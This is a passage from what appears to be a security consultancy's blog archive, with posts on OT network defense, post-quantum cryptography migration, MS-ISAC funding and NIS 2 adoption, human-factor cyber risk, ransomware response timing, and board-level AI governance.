  • Build executive visibility and metrics (mean time to containment, blast radius, safety impact) to support prioritization.

Roadmap: From Zero → Maturity

Here’s a rough maturation path you might use:

Phase Focus Key Activities
Pilot / Awareness Reduce risk in one zone Map asset inventory, segment pilot cell, deploy detection sensors
Hardening & Control Extend structural defenses Enforce microperimeters, apply least privilege, protocol filtering
Detection & Response Build visibility & control Anomaly detection, OT-aware monitoring, SOC integration
Patching & Maintenance Improve security hygiene Risk-based patching, vendor collaboration, configuration lockdown
Scale & Governance Expand and formalize Extend to all zones, incident playbooks, governance models, metrics, compliance
Continuous Optimization Adapt & refine Threat intelligence feedback, lessons learned, iterative improvements

Start small, show value, then scale incrementally—don’t try to boil the ocean in one leap.

Use Case Scenarios

  1. Remote Maintenance Abuse
    A vendor’s remote access via a jump host is compromised. The attacker uses that jump host to send commands to PLCs via an unfiltered conduit, shutting down a production line.

  2. Logic Tampering via Protocol Abuse
    An attacker intercepts commands over EtherNet/IP and alters setpoints on a pressure sensor—causing shock pressure and damaging equipment before operators notice.

  3. Firmware Exploit on Legacy Device
    A field RTU is running firmware with a known remote vulnerability. The attacker exploits that, gains control, and uses it as a pivot point deeper into OT.

  4. Lateral Movement from IT
    A phishing campaign generates a foothold on IT. The attacker escalates privileges, accesses the central historian, and from there reaches into OT DMZ and onward.

Each scenario highlights the need for segmentation, detection, and disciplined control at each boundary.

Checklist & Practical Guidance

  • ⚙️ Inventory & visibility: Map all OT/IIoT devices, asset data, communications, and protocols.

  • 🔒 Zone & micro‑segment: Enforce strict controls around process, supervisory, and enterprise connectivity.

  • ✅ Least privilege and zero trust: Limit access to the minimal set of rights, revalidate often.

  • 📡 Protocol filtering: Use deep packet inspection to validate or block unsafe commands.

  • 💡 Anomaly detection: Use behavioral models, baselining, and alerts on deviations.

  • 🛠 Patching strategy: Risk-based prioritization, scheduled windows, fallback planning.

  • 🧷 Hardening & configuration control: Remove unused services, lock down interfaces, enforce secure defaults.

  • 🔀 Incident playbooks: Include safe rollback, forensic capture, containment paths.

  • 👥 Cross-functional teams: Co-locate or synchronize OT, IT, security, operations staff.

  • 📈 Metrics & executive reporting: Use security KPIs contextualized to safety, availability, and damage containment.

  • 🔄 Continuous review & iteration: Ingest lessons learned, threat intelligence, and adapt.

  • 📜 Framework alignment: Use ISA/IEC 62443, NIST 800‑82, or sector-specific guidelines.

Final Thoughts

As of 2025, you can’t treat OT as a passive, hidden domain. The convergence is inevitable—and attackers know it. The good news is that mature defense strategies are emerging: segmentation, zero trust, anomaly-based detection, and governance-focused integration.

The path forward is not about plugging every hole at once. It’s about building layered defenses, prioritizing by criticality, and evolving your posture incrementally. In a world where a successful exploit can physically damage infrastructure or disrupt a grid, the resilience you build today may be your strongest asset tomorrow.

More Info and Assistance

For discussion, more information, or assistance, please contact us. (614) 351-1237 will get us on the phone, and info@microsolved.com will get us via email. Reach out to schedule a no-hassle and no-pressure discussion. Put out 30+ years of OT experience to work for you! 

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Quantum Readiness in Cybersecurity: When & How to Prepare

Posted on by
Reply

“We don’t get a say about when quantum is coming — only how ready we will be when it arrives.”

QuantumCrypto

Why This Matters

While quantum computers powerful enough to break today’s public‑key cryptography do not yet exist (or at least are not known to exist), the cryptographic threat is no longer theoretical. Nations, large enterprises, and research institutions are investing heavily in quantum, and the possibility of “harvest now, decrypt later” attacks means that sensitive data captured today could be exposed years down the road.

Standards bodies are already defining post‑quantum cryptographic (PQC) algorithms. Organizations that fail to build agility and transition roadmaps now risk being left behind — or worse, suffering catastrophic breaches when the quantum era arrives.

To date, many security teams lack a concrete plan or roadmap for quantum readiness. This article outlines a practical, phased approach: what quantum means for cryptography, how standards are evolving, strategies for transition, and pitfalls to avoid.

What Quantum Computing Means for Cryptography

To distill the challenge:

  • Shor’s algorithm (and related advances) threatens to break widely used asymmetric algorithms — RSA, ECC, discrete logarithm–based schemes — rendering many of our public key systems vulnerable.

  • Symmetric algorithms (AES, SHA) are more resistant; quantum can only offer a “square‑root” speedup (Grover’s algorithm), so doubling key sizes can mitigate that threat.

  • The real cryptographic crisis lies in key exchange, digital signatures, certificates, and identity systems that rely on public-key primitives.

  • Because many business systems, devices, and data have long lifetimes, we must assume some of today’s data, if intercepted, may become decryptable in the future (i.e. the “store now, crack later” model).

In short: quantum changes the assumptions undergirding modern cryptographic infrastructure.

Roadmap: PQC in Standards & Transition Phases

Over recent years, standards organizations have moved from theory to actionable transition planning:

  • NIST PQC standardization
    In August 2024, NIST published the first set of FIPS‑approved PQC algorithms: lattice‑based (e.g. CRYSTALS-Kyber, CRYSTALS-Dilithium), hash-based signatures, etc. These are intended as drop-in replacements for many public-key roles. Encryption Consulting+3World Economic Forum+3NIST Pages+3

  • NIST SP 1800‑38 (Migration guidance)
    The NCCoE’s “Migration to Post‑Quantum Cryptography” guide (draft) outlines a structured, multi-step migration: inventory, vendor engagement, pilot, validation, transition, deprecation. NCCoE

  • Crypto‑agility discussion
    NIST has released a draft whitepaper “Considerations for Achieving Crypto‑Agility” to encourage flexible architecture designs that allow seamless swapping of cryptographic primitives. AppViewX

  • Regulatory & sector guidance
    In the financial world, the BIS is urging quantum-readiness and structured roadmaps for banks. PostQuantum.com
    Meanwhile in health care and IoT, device lifecycles necessitate quantum-ready cryptographic design now. medcrypt.com

Typical projected milestones that many organizations use as heuristics include:

Milestone Target Year
Inventory & vendor engagement 2025–2027
Pilot / hybrid deployment 2027–2029
Broader production adoption 2030–2032
Deprecation of legacy / full PQC By 2035 (or earlier in some sectors)

These are not firm deadlines, but they reflect common planning horizons in current guidance documents.

Transition Strategies & Building Crypto Agility

Because migrating cryptography is neither trivial nor instantaneous, your strategy should emphasize flexibility, modularity, and iterative deployment.

Core principles of a good transition:

  1. Decouple cryptographic logic
    Design your code, libraries, and systems so that the cryptographic algorithm (or provider) can be replaced without large structural rewrites.

  2. Layered abstraction / adapters
    Use cryptographic abstraction layers or interfaces, so that switching from RSA → PQC → hybrid to full PQC is easier.

  3. Support multi‑suite / multi‑algorithm negotiation
    Protocols should permit negotiation of algorithm suites (classical, hybrid, PQC) as capabilities evolve.

  4. Vendor and library alignment
    Engage vendors early: ensure they support your agility goals, supply chain updates, and PQC readiness (or roadmaps).

  5. Monitor performance & interoperability tradeoffs
    PQC algorithms generally have larger key sizes, signature sizes, or overheads. Be ready to benchmark and tune.

  6. Fallback and downgrade-safe methods
    In early phases, include fallback to known-good classical algorithms, with strict controls and fallbacks flagged.

In other words: don’t wait to refactor your architecture so that cryptography is a replaceable module.

Hybrid Deployments: The Interim Bridge

During the transition period, hybrid schemes (classical + PQC) will be critical for layered security and incremental adoption.

  • Hybrid key exchange / signatures
    Many protocols propose combining classical and PQC algorithms (e.g. ECDH + Kyber) so that breaking one does not compromise the entire key. arXiv

  • Dual‑stack deployment
    Some servers may advertise both classical and PQC capabilities, negotiating which path to use.

  • Parallel validation / testing mode
    Run PQC in “passive mode” — generate PQC signatures or keys, but don’t yet rely on them — to collect metrics, test for interoperability, and validate correctness.

Hybrid deployments allow early testing and gradual adoption without fully abandoning classical cryptography until PQC maturity and confidence are achieved.

Asset Discovery & Cryptographic Inventory

One of the first and most critical steps is to build a full inventory of cryptographic use in your environment:

  • Catalog which assets (applications, services, APIs, devices, endpoints) use public-key cryptography (for key exchange, digital signatures, identity, etc.).

  • Use automated tools or static analysis to detect cryptographic algorithm usage in code, binaries, libraries, embedded firmware, TLS stacks, PKI, hardware security modules.

  • Identify dependencies and software libraries (open source, vendor libraries) that may embed vulnerable algorithms.

  • Map data flows, encryption boundaries, and cryptographic trust zones (e.g. cross‑domain, cross‑site, legacy systems).

  • Assess lifespan: which systems or data are going to persist into the 2030s? Those deserve priority.

The NIST migration guide emphasizes that a cryptographic inventory is foundational and must be revisited as you migrate. NCCoE

Without comprehensive visibility, you risk blind spots or legacy systems that never get upgraded.

Testing & Validation Framework

Transitioning cryptographic schemes is a high-stakes activity. You’ll need a robust framework to test correctness, performance, security, and compatibility.

Key components:

  1. Functional correctness tests
    Ensure new PQC signatures, key exchanges, and validations interoperate correctly with clients, servers, APIs, and cross-vendor systems.

  2. Interoperability tests
    Test across different library implementations, versions, OS, devices, cryptographic modules (HSMs, TPMs), firmware, etc.

  3. Performance benchmarking
    Monitor latency, CPU, memory, and network overhead. Some PQC schemes have larger signatures or keys, so assess impact under load.

  4. Security analysis & fuzzing
    Integrate fuzz testing around PQC inputs, edge conditions, degenerate cases, and fallback logic to catch vulnerabilities.

  5. Backwards compatibility / rollback plans
    Include “off-ramps” in case PQC adoption causes unanticipated failures, with graceful rollback to classical crypto where safe.

  6. Continuous regression & monitoring
    As PQC libraries evolve, maintain regression suites ensuring no backward-compatibility breakage or cryptographic regressions.

You should aim to embed PQC in your CI/CD and DevSecOps pipelines early, so that changes are automatically tested and verified.

Barriers, Pitfalls, & Risk Mitigation

No transition is without challenges. Below are common obstacles and how to mitigate them:

Challenge Pitfall Mitigation
Performance / overhead Some PQC algorithms bring large keys, heavy memory or CPU usage Benchmark early, select PQC suites suited to your use case (e.g. low-latency, embedded), optimize or tune cryptographic libraries
Vendor or ecosystem lag Lack of PQC support in software, libraries, devices, or firmware Engage vendors early, request PQC roadmaps, prefer components with modular crypto, sponsor PQC support projects
Interoperability issues PQC standards are still maturing; multiple implementations may vary Use hybrid negotiation, test across vendors, maintain fallbacks, participate in interoperability test beds
Supply chain surprises Upstream components (third-party libraries, devices) embed hard‑coded crypto Demand transparency, require crypto-agility clauses, vet supplier crypto plans, enforce security requirements
Legacy / embedded systems Systems cannot be upgraded (e.g. firmware, IoT, industrial devices) Prioritize replacement or isolation, use compensating controls, segment legacy systems away from critical domains
Budget, skills, and complexity The costs and human capital required may be significant Start small, build a phased plan, reuse existing resources, invest in training, enlist external expertise
Incorrect or incomplete inventory Missing cryptographic dependencies lead to breakout vulnerabilities Use automated discovery tools, validate by code review and runtime analysis, maintain continuous updates
Overconfidence or “wait and see” mindset Delay transition until quantum threat is immediate, losing lead time Educate leadership, model risk of “harvest now, decrypt later,” push incremental wins early

Mitigation strategy is about managing risk over time — you may not jump to full PQC overnight, but you can reduce exposure in controlled steps.

When to Accelerate vs When to Wait

How do you decide whether to push harder or hold off?

Signals to accelerate:

  • You store or transmit highly sensitive data with long lifetimes (intellectual property, health, financial, national security).

  • Regulatory, compliance, or sector guidance (e.g. finance, energy) begins demanding or recommending PQC.

  • Your system has a long development lifecycle (embedded, medical, industrial) — you must bake in agility early.

  • You have established inventory and architecture foundations, so investment can scale linearly.

  • Vendor ecosystem is starting to support PQC, making adoption less risky.

  • You detect a credible quantum threat to your peer organizations or competitors.

Reasons to delay or pace carefully:

  • PQC implementations or libraries for your use cases are immature or lack hardening.

  • Performance or resource constraints render PQC impractical today.

  • Interoperability with external partners or clients (who are not quantum-ready) is a blocking dependency.

  • Budget or staffing constraints overwhelm other higher-priority security work.

  • Your data’s retention horizon is short (e.g. ephemeral, ephemeral sessions) and quantum risk is lower.

In most real-world organizations, the optimal path is measured acceleration: begin early but respect engineering and operational constraints.

Suggested Phased Approach (High-Level Roadmap)

  1. Awareness & executive buy-in
    Educate leadership on quantum risk, “harvest now, decrypt later,” and the cost of delay.

  2. Inventory & discovery
    Build cryptographic asset maps (applications, services, libraries, devices) and identify high-risk systems.

  3. Agility refactoring
    Modularize cryptographic logic, build adapter layers, adopt negotiation frameworks.

  4. Vendor engagement & alignment
    Query, influence, and iterate vendor support for PQC and crypto‑agility.

  5. Pilot / hybrid deployment
    Test PQC in non-critical systems or in hybrid mode, collect metrics, validate interoperability.

  6. Incremental rollout
    Expand to more use cases, deprecate classical algorithms gradually, monitor downstream dependencies.

  7. Full transition & decommissioning
    Remove legacy vulnerable algorithms, enforce PQC-only policies, archive or destroy old keys.

  8. Sustain & evolve
    Monitor PQC algorithm evolution or deprecation, incorporate new variants, update interoperability as standards evolve.

Conclusion & Call to Action

Quantum readiness is no longer a distant, speculative concept — it’s fast becoming an operational requirement for organizations serious about long-term data protection.

But readiness doesn’t mean rushing blindly into PQC. The successful path is incremental, agile, and risk-managed:

  • Start with visibility and inventory

  • Build architecture that supports change

  • Pilot carefully with hybrid strategies

  • Leverage community and standards

  • Monitor performance and evolve your approach

If you haven’t already, now is the time to begin — even a year of head start can mean the difference between being proactive versus scrambling under crisis.

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Regulatory Pitfalls: MS‑ISAC Funding Loss and NIS 2 Uncertainty

Posted on by
Reply

Timeline: When Federal Support Runs Out

  • MS‑ISAC at the tipping point
    Come September 30, 2025, federal funding for the Multi‑State Information Sharing and Analysis Center (MS‑ISAC) is slated to expire—and DHS with no plans to renew it Axios+1. The $27 million annual appropriation ends that day, and MS‑ISAC may shift entirely to a fee‑based membership model Axios+1CIS. This follows a $10 million cut earlier in March, which halved its budget National Association of CountiesAxios. Lawmakers are eyeing either a short‑term funding extension or reinstatement for FY 2026 nossaman.com.

Impact Analysis: What’s at Stake Without MS‑ISAC

  • Threat intelligence hangs in the balance. Nearly 19,000 state, local, tribal, and territorial (SLTT) entities—from utilities and schools to local governments—rely on MS‑ISAC for timely alerts on emerging threats Axios+2Axios+2.

  • Real-time sharing infrastructure—like a 24/7 Security Operations Center, feeds such as ALBERT and MDBR, incident response coordination, training, collaboration, and working groups—are jeopardized CISWikipedia.

  • States are pushing back. Governor associations have formally urged Congress to restore funding for this critical cyber defense lifeline Industrial CyberAxios.

Without MS‑ISAC’s steady support, local agencies risk losing a coordinated advantage in defending against increasingly sophisticated cyberattacks—just when threats are rising.

NIS 2 Status Breakdown: Uneven EU Adoption and Organizational Uncertainty

Current State of Transposition (Mid‑2025)

  • Delayed national incorporation. Though EU member states were required to transpose NIS 2 into law by October 17, 2024, as of July 2025, only 14 out of 27 have done so TechRadarFTI ConsultingCoalfire.

  • The European Commission has launched infringement proceedings against non‑compliant member states CoalfireGreenberg Traurig.

  • A June 30, 2026 deadline now marks the first audit phase for compliance, a bump from the original target of end‑2025 ECSO.

  • Implementation is uneven: some countries like Hungary, Slovakia, Greece, Slovenia, North Macedonia, Malta, Finland, Romania, Cyprus, Denmark have transposed NIS 2, but many others remain in progress or partially compliant ECSOGreenberg Traurig.

Organizational Challenges & Opportunities

  • Fragmented compliance environment. Businesses across sectors—particularly healthcare, maritime, gas, public admin, ICT, and space—face confusion and complexity from inconsistent national implementations IT Pro.

  • Compliance tools matter. Automated identity and access management (IAM) platforms are critical for enforcing NIS 2’s zero‑trust access requirements, such as just‑in‑time privilege and centralized dashboards TechRadar.

  • A dual approach for organizations: start with quick wins—appointing accountable leaders, inventorying assets, plugging hygiene gaps—and scale into strategic risk assessments, supplier audits, ISO 27001 alignment, and response planning IT ProTechRadar.

Mitigation Options: Building Resilience Amid Regulatory Flux

For U.S. SLTT Entities

Option Description
Advocacy & lobbying Engage state/local leaders and associations to push Congress for reinstated or extended MS‑ISAC funding Industrial CyberAxios.
Short‑term extension Monitor efforts for stop‑gap funding past September 2025 to avoid disruption nossaman.com.
Fee‑based membership Develop internal cost‑benefit models for scaled membership tiers, noting offers intended to serve “cyber‑underserved” smaller jurisdictions CIS.
Alternate alliances Explore regional ISACs or mutual aid agreements as fallback plans.

For EU Businesses & SLTT Advisors

Option Description
Monitor national adoption Track each country’s transposition status and defer deadlines—France and Germany may lag; others moved faster Greenberg TraurigCoalfireECSO.
Adopt IAM automation Leverage tools for role‑based access, just‑in‑time privileges, audit dashboards—compliance enablers under NIS 2 TechRadar.
Layered compliance strategy Start with foundational actions (asset mapping, governance), then invest in risk frameworks and supplier audits IT ProTechRadar.

Intersection with Broader Trends

  1. Automation as a compliance accelerator. Whether in the U.S. or EU, automation platforms for identity, policy mapping, or incident reporting bridge gaps in fluid regulatory environments.

  2. Hybrid governance pressures. Local agencies and cross‑border firms must adapt to both decentralized cyber defense (US states) and fragmented transposition (EU member states)—a systems approach is essential.

  3. AI‑enabled readiness. Policy mapping tools informed by AI could help organizations anticipate timeline changes, compliance gaps, and audit priorities.

Conclusion: Why This Matters Now

By late September 2025, U.S. SLTT entities face a sudden pivot: either justify membership fees to sustain cyber intelligence pipelines or brace for isolation. Meanwhile, EU‑region organizations—especially those serving essential services—must navigate a patchwork of national laws, with varying enforcement and a hard deadline extended through mid‑2026.

This intersection of regulatory pressure, budget instability, and technological transition makes this a pivotal moment for strategic, systems‑based resilience planning. The agencies and businesses that act now—aligning automated tools, coalition strategies, and policy insight—will surge ahead in cybersecurity posture and readiness.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

Distracted Minds, Not Sophisticated Cyber Threats — Why Human Factors Now Reign Supreme

Posted on by
Reply

Problem Statement: In cybersecurity, we’ve long feared the specter of advanced malware and AI-enabled attacks. Yet today’s frontline is far more mundane—and far more human. Distraction, fatigue, and lack of awareness among employees now outweigh technical threats as the root cause of security incidents.

A woman standing in a room lit by bright fluorescent lights surrounded by whiteboards and sticky notes filled with ideas sketching out concepts and plans 5728491

A KnowBe4 study released in August 2025 sets off alarm bells: 43 % of security incidents stem from employee distraction—while only 17 % involve sophisticated attacks.

1. Distraction vs. Technical Threats — A Face-off

The numbers are telling:

  • Distraction: 43 %

  • Lack of awareness training: 41 %

  • Fatigue or burnout: 31 %

  • Pressure to act quickly: 33 %

  • Sophisticated attack (the myths we fear): just 17 %

What explains the gap between perceived threat and actual risk? The answer lies in human bandwidth—our cognitive load, overload, and vulnerability under distraction. Cyber risk is no longer about perimeter defense—it’s about human cognitive limits.

Meanwhile, phishing remains the dominant attack vector—74 % of incidents—often via impersonation of executives or trusted colleagues.

2. Reviving Security Culture: Avoid “Engagement Fatigue”

Many organizations rely on awareness training and phishing simulations, but repetition without innovation breeds fatigue.

Here’s how to refresh your security culture:

  • Contextualized, role-based training – tailor scenarios to daily workflows (e.g., finance staff vs. HR) so the relevance isn’t lost.

  • Micro-learning and practice nudges – short, timely prompts that reinforce good security behavior (e.g., reminders before onboarding tasks or during common high-risk activities).

  • Leadership modeling – when leadership visibly practices security—verifying emails, using MFA—it normalizes behavior across the organization.

  • Peer discussions and storytelling – real incident debriefs (anonymized, of course) often land harder than scripted scenarios.

Behavioral analytics can drive these nudges. For example: detect when sensitive emails are opened, when copy-paste occurs from external sources, or when MFA overrides happen unusually. Then trigger a gentle “Did you mean to do this?” prompt.

3. Emerging Risk: AI-Generated Social Engineering

Though only about 11 % of respondents have encountered AI threats so far, 60 % fear AI-generated phishing and deepfakes in the near future.

This fear is well-placed. A deepfake voice or video “CEO” request is far more convincing—and dangerous.

Preparedness strategies include:

  • Red teaming AI threats — simulate deepfake or AI-generated social engineering in safe environments.

  • Multi-factor and human challenge points — require confirmations via secondary channels (e.g., “Call the sender” rule).

  • Employee resilience training — teach detection cues (synthetic audio artifacts, uncanny timing, off-script wording).

  • AI citizenship policies — proactively define what’s allowed in internal tools, communication, and collaboration platforms.

4. The Confidence Paradox

Nearly 90 % of security leaders feel confident in their cyber-resilience—yet the data tells us otherwise.

Overconfidence can blind us: we might under-invest in human risk management while trusting tech to cover all our bases.

5. A Blueprint for Human-Centric Defense

Problem Actionable Solution
Engagement fatigue with awareness training Use micro-learning, role-based scenarios, and frequent but brief content
Lack of behavior change Employ real-time nudges and behavioral analytics to catch risky actions before harm
Distraction, fatigue Promote wellness, reduce task overload, implement focus-support scheduling
AI-driven social engineering Test with red teams, enforce cross-channel verification, build detection literacy
Overconfidence Benchmark human risk metrics (click rates, incident reports); tie performance to behavior outcomes

Final Thoughts

At its heart, cybersecurity remains a human endeavor. We chase the perfect firewall, but our biggest vulnerabilities lie in our own cognitive gaps. The KnowBe4 study shows that distraction—not hacker sophistication—is the dominant risk in 2025. It’s time to adapt.

We must refresh how we engage our people—not just with better tools, but with better empathy, smarter training design, and the foresight to counter AI-powered con games.

This is the human-centered security shift Brent Huston has championed. Let’s own it.

Help and More Information

If your organization is struggling to combat distraction, engagement fatigue, or the evolving risk of AI-powered social engineering, MicroSolved can help.

Our team specializes in behavioral analytics, adaptive awareness programs, and human-focused red teaming. Let’s build a more resilient, human-aware security culture—together.

👉 Reach out to MicroSolved today to schedule a consultation or request more information. (info@microsolved.com or +1.614.351.1237)

References

  1. KnowBe4. Infosecurity Europe 2025: Human Error & Cognitive Risk Findings. knowbe4.com

  2. ITPro. Employee distraction is now your biggest cybersecurity risk. itpro.com

  3. Sprinto. Trends in 2025 Cybersecurity Culture and Controls.

  4. Deloitte Insights. Behavioral Nudges in Security Awareness Programs.

  5. Axios & Wikipedia. AI-Generated Deepfakes and Psychological Manipulation Trends.

  6. TechRadar. The Growing Threat of AI in Phishing & Vishing.

  7. MSI :: State of Security. Human Behavior Modeling in Red Teaming Environments.

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

The New Golden Hour in Ransomware Defense

Posted on by
Reply

Organizations today face a dire reality: ransomware campaigns—often orchestrated as Ransomware‑as‑a‑Service (RaaS)—are engineered for speed. Leveraging automation and affiliate models, attackers breach, spread, and encrypt entire networks in well under 60 minutes. The traditional incident response window has all but vanished.

This shrinking breach-to-impact interval—what we now call the ransomware golden hour—demands a dramatic reframing of how security teams think, plan, and respond.

ChatGPT Image Aug 19 2025 at 10 34 40 AM

Why It Matters

Attackers now move faster than ever. A rising number of campaigns are orchestrated through RaaS platforms, democratizing highly sophisticated tools and lowering the technical barrier for attackers[1]. When speed is baked into the attack lifecycle, traditional defense mechanisms struggle to keep pace.

Analysts warn that these hyper‑automated intrusions are leaving security teams in a race against time—with breach response windows shrinking inexorably, and full network encryption occurring in under an hour[2].

The Implications

  • Delayed detection equals catastrophic failure. Every second counts: if detection slips beyond the first minute, containment may already be too late.
  • Manual response no longer cuts it. Threat hunting, playbook activation, and triage require automation and proactive orchestration.
  • Preparedness becomes survival. Only by rehearsing and refining the first 60 minutes can teams hope to blunt the attack’s impact.

What Automation Can—and Can’t—Do

What It Can Do

  • Accelerate detection with AI‑powered anomaly detection and behavior analysis.
  • Trigger automatic containment via EDR/XDR systems.
  • Enforce execution of playbooks with automation[3].

What It Can’t Do

  • Replace human judgment.
  • Compensate for lack of preparation.
  • Eliminate all dwell time.

Elements SOCs Must Pre‑Build for “First 60 Minutes” Response

  1. Clear detection triggers and alert criteria.
  2. Pre‑defined milestone checkpoints:
    • T+0 to T+15: Detection and immediate isolation.
    • T+15 to T+30: Network-wide containment.
    • T+30 to T+45: Damage assessment.
    • T+45 to T+60: Launch recovery protocols[4].
  3. Automated containment workflows[5].
  4. Clean, tested backups[6].
  5. Chain-of-command communication plans[7].
  6. Simulations and playbook rehearsals[8].

When Speed Makes the Difference: Real‑World Flash Points

  • Only 17% of enterprises paid ransoms in 2025. Rapid containment was key[6].
  • Disrupted ransomware gangs quickly rebrand and return[9].
  • St. Paul cyberattack: swift containment, no ransom paid[10].

Conclusion: Speed Is the New Defense

Ransomware has evolved into an operational race—powered by automation, fortified by crime‑as‑a‑service economics, and executed at breakneck pace. In this world, the golden hour isn’t a theory—it’s a mandate.

  • Design and rehearse a first‑60‑minute response playbook.
  • Automate containment while aligning with legal, PR, and executive workflows.
  • Ensure backups are clean and recovery-ready.
  • Stay agile—because attackers aren’t stuck on yesterday’s playbook.

References

  1. Wikipedia – Ransomware as a Service
  2. Itergy – The Golden Hour
  3. CrowdStrike – The 1/10/60 Minute Challenge
  4. CM-Alliance – Incident Response Playbooks
  5. Blumira – Incident Response for Ransomware
  6. ITPro – Enterprises and Ransom Payments
  7. Commvault – Ransomware Trends for 2025
  8. Veeam – Tabletop Exercises and Testing
  9. ITPro – BlackSuit Gang Resurfaces
  10. Wikipedia – 2025 St. Paul Cyberattack

 

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.

 

CISO AI Board Briefing Kit: Governance, Policy & Risk Templates

Posted on by
Reply

Imagine the boardroom silence when the CISO begins: “Generative AI isn’t a futuristic luxury—it’s here, reshaping how we operate today.” The questions start: What is our AI exposure? Where are the risks? Can our policies keep pace? Today’s CISO must turn generative AI from something magical and theoretical into a grounded, business-relevant reality. That urgency is real—and tangible. The board needs clarity on AI’s ecosystem, real-world use cases, measurable opportunities, and framed risks. This briefing kit gives you the structure and language to lead that conversation.

ExecMeeting

Problem: Board Awareness + Risk Accountability

Most boards today are curious but dangerously uninformed about AI. Their mental models of the technology lag far behind reality. Much like the Internet or the printing press, AI is already driving shifts across operations, cybersecurity, and competitive strategy. Yet many leaders still dismiss it as a “staff automation tool” rather than a transformational force.

Without a structured briefing, boards may treat AI as an IT issue, not a C-suite strategic shift with existential implications. They underestimate the speed of change, the impact of bias or hallucination, and the reputational, legal, or competitive dangers of unmanaged deployment. The CISO must reframe AI as both a business opportunity and a pervasive risk domain—requiring board-level accountability. That means shifting the picture from vague hype to clear governance frameworks, measurable policy, and repeatable audit and reporting disciplines.

Boards deserve clarity about benefits like automation in logistics, risk analysis, finance, and security—which promise efficiency, velocity, and competitive advantage. But they also need visibility into AI-specific hazards like data leakage, bias, model misuse, and QA drift. This kit shows CISOs how to bring structure, vocabulary, and accountability into the conversation.

Framework: Governance Components

1. Risk & Opportunity Matrix

Frame generative AI in a two-axis matrix: Business Value vs Risk Exposure.

Opportunities:

  • Process optimization & automation: AI streamlines repetitive tasks in logistics, finance, risk modeling, scheduling, or security monitoring.

  • Augmented intelligence: Enhancing human expertise—e.g. helping analysts faster triage security events or fraud indicators.

  • Competitive differentiation: Early adopters gain speed, insight, and efficiency that laggards cannot match.

Risks:

  • Data leakage & privacy: Exposing sensitive information through prompts or model inference.

  • Model bias & fairness issues: Misrepresentation or skewed outcomes due to historical bias.

  • Model drift, hallucination & QA gaps: Over- or under-tuned models giving unreliable outputs.

  • Misuse or model sprawl: Unsupervised use of public LLMs leading to inconsistent behaviour.

Balanced, slow-trust adoption helps tip the risk-value calculus in your favor.

2. Policy Templates

Provide modular templates that frame AI like a “human agent in training,” not just software. Key policy areas:

  • Prompt Use & Approval: Define who can prompt models, in what contexts, and what approval workflow is needed.

  • Data Governance & Retention: Rules around what data is ingested or output by models.

  • Vendor & Model Evaluation: Due diligence criteria for third-party AI vendors.

  • Guardrails & Safety Boundaries: Use-case tiers (low-risk to high-risk) with corresponding controls.

  • Retraining & Feedback Loops: Establish schedule and criteria for retraining or tuning.

These templates ground policy in trusted business routines—reviews, approvals, credentialing, audits.

3. Training & Audit Plans

Reframe training as culture and competence building:

  • AI Literacy Module: Explain how generative AI works, its strengths/limitations, typical failure modes.

  • Role-based Training: Tailored for analysts, risk teams, legal, HR.

  • Governance Committee Workshops: Periodic sessions for ethics committee, legal, compliance, and senior leaders.

Audit cadence:

  • Ongoing Monitoring: Spot-checks, drift testing, bias metrics.

  • Trigger-based Audits: Post-upgrade, vendor shift, or use-case change.

  • Annual Governance Review: Executive audit of policy adherence, incidents, training, and model performance.

Audit AI like human-based systems—check habits, ensure compliance, adjust for drift.

4. Monitoring & Reporting Metrics

Technical Metrics:

  • Model performance: Accuracy, precision, recall, F1 score.

  • Bias & fairness: Disparate impact ratio, fairness score.

  • Interpretability: Explainability score, audit trail completeness.

  • Security & privacy: Privacy incidents, unauthorized access events, time to resolution.

Governance Metrics:

  • Audit frequency: % of AI deployments audited.

  • Policy compliance: % of use-cases under approved policy.

  • Training participation: % of staff trained, role-based completion rates.

Strategic Metrics:

  • Usage adoption: Active users or teams using AI.

  • Business impact: Time saved, cost reduction, productivity gains.

  • Compliance incidents: Escalations, regulatory findings.

  • Risk exposure change: High-risk projects remediated.

Boards need 5–7 KPIs on dashboards that give visibility without overload.

Implementation: Briefing Plan

Slide Deck Flow

  1. Title & Hook: “AI Isn’t Coming. It’s Here.”

  2. Risk-Opportunity Matrix: Visual quadrant.

  3. Use-Cases & Value: Case studies.

  4. Top Risks & Incidents: Real-world examples.

  5. Governance Framework: Your structure.

  6. Policy Templates: Categories and value.

  7. Training & Audit Plan: Timeline & roles.

  8. Monitoring Dashboard: Your KPIs.

  9. Next Steps: Approvals, pilot runway, ethics charter.

Talking Points & Backup Slides

  • Bullet prompts: QA audits, detection sample, remediation flow.

  • Backup slides: Model metrics, template excerpts, walkthroughs.

Q&A and Scenario Planning

Prep for board Qs:

  • Verifying output accuracy.

  • Legal exposure.

  • Misuse response plan.

Scenario A: Prompt exposes data. Show containment, audit, retraining.
Scenario B: Drift causes bad analytics. Show detection, rollback, adjustment.

When your board walks out, they won’t be AI experts. But they’ll be AI literate. And they’ll know your organization is moving forward with eyes wide open.

More Info and Assistance

At MicroSolved, we have been helping educate boards and leadership on cutting-edge technology issues for over 25 years. Put our expertise to work for you by simply reaching out to launch a discussion on AI, business use cases, information security issues, or other related topics. You can reach us at +1.614.351.1237 or info@microsolved.com.

We look forward to hearing from you! 

 

 

* AI tools were used as a research assistant for this content, but human moderation and writing are also included. The included images are AI-generated.